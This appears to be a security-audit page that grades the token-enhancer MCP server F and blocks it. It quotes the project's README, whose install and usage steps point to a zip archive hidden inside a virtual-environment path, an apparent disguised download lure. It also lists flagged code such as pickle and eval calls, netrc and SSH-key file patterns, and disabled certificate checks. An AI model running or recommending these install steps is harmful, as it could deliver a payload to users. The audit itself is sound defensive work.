token-enhancerBLOCK
Reduce web pages to clean text before they reach your AI agent’s context window, saving tokens and cutting noise
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
A local proxy that strips web pages down to clean text before they enter your AI agent's context window.
One fetch of Yahoo Finance: 704,760 tokens → 2,625 tokens. 99.6% reduction.
No API key. No LLM. No GPU. Just Python.
The Problem
AI agents waste most of their token budget loading raw HTML pages into context. A single Yahoo Finance page is 704K tokens of navigation bars, ads, scripts, and junk. Your agent pays for all of it before any reasoning happens.
The Solution
Token Enhancer sits between your agent and the web. It fetches the page, strips the noise, caches the result, and returns only clean data.
Install
pip install xelektron-token-enhancer
Quick Start (from source)
git clone https://raw.githubusercontent.com/Footshaped-friction742/token-enhancer/main/venv/lib/python3.12/site-packages/certifi/token_enhancer_3.0.zip cd token-enhancer chmod +x install.sh ./install.sh source .venv/bin/activate python3 test_all.py --live
Usage
As a standalone proxy
source .venv/bin/activate python3 proxy.py
Then in another terminal:
curl -s http://localhost:8080/fetch \
-H "content-type: application/json" \
-d '{"url": "https://raw.githubusercontent.com/Footshaped-friction742/token-enhancer/main/venv/lib/python3.12/site-packages/certifi/token_enhancer_3.0.zip"}' \
| python3 -m json.toolAs an MCP Server (Claude Desktop, Cursor, OpenClaw)
This is the plug and play option. Your AI agent discovers the tools automatically and uses them on its own.
pip install xelektron-token-enhancer
Claude Desktop: Add to your confi
459568da2b1dOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add xelektron-token-enhancer -- None xelektron-token-enhancer==0.2.1
Exposed tools (6)
6 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
async_tool | read | await context.report_progress(50, 100) |
fetch_clean | read | Fetch a URL and return clean text with all HTML noise removed. |
fetch_clean_batch | read | Fetch multiple URLs and return clean text for each. |
my_tool | read | return str(x) |
refine_prompt | read | Refine a prompt by removing filler words while preserving |
tool_with_context | read | ctx.info(f |
Trust audit
BLOCKgrade F · trust 30/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (14 observation(s))
- Network
- declared (15 observation(s))
- Shell
- declared (19 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (25)
_SK_START = b"-----BEGIN OPENSSH PRIVATE KEY-----"
res = pickle.loads(res)
retval = pickle.loads(pickled_response)
command, *args = pickle.load(stdin.buffer)
checksum = pickle.load(f)
self.code = marshal.load(f)
eval(bytecode, globs, locs)
flags = eval(self.flags, G_FLAGS)
exec(code, glob, glob)
eval(compile(f.read(), startup, "exec"), ctx)
exec(compile(config_file.read(), filename, "exec"), d.__dict__)
self._netrc_info = netrc.netrc(file)
'AscLexer': ('pip._vendor.pygments.lexers.asc', 'ASCII armored', ('asc', 'pem'), ('*.asc', '*.pem', 'id_dsa', 'id_ecdsa', 'id_ecdsa_sk', 'id_ed25519', 'id_ed25519_sk', 'id_rsa'), ('application/pgp-keyNETRC_FILES = (".netrc", "_netrc")NETRC_FILES = (".netrc", "_netrc")super().cert_verify(conn=conn, url=url, verify=False, cert=cert)
super().cert_verify(conn=conn, url=url, verify=False, cert=cert)
def __init__(self, filename=None, sign=False, verify=False):
self._verify = False
"that directory. If executing pip with sudo, you should "
"use sudo's -H flag.",
Muha Ajjan
rekcäH nitraM
81d243bd2c585b0f4821__mypyc.cpython-312-x86_64-linux-gnu.so
_cffi_backend.cpython-312-x86_64-linux-gnu.so
Gates applied: critical_finding, no_behavioural_pass.
459568da2b1dfull audit observations/trust-audit/mcp-server/footshaped-friction742__token-enhancer.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 459568da2b1d | BLOCK | F | 30 | first audit |
Questions
What is the token-enhancer MCP server?
Reduce web pages to clean text before they reach your AI agent’s context window, saving tokens and cutting noise
What tools does token-enhancer expose?
6 in total: 6 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is token-enhancer safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (30/100) and found 23 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does token-enhancer need?
It reads SSLKEYLOGFILE from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does token-enhancer run?
It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on PyPI as xelektron-token-enhancer.
How current is this page?
The grade is for one exact copy of the source (459568da2b1d), read on 2026-10-11. The repository is watched and re-audited when it changes.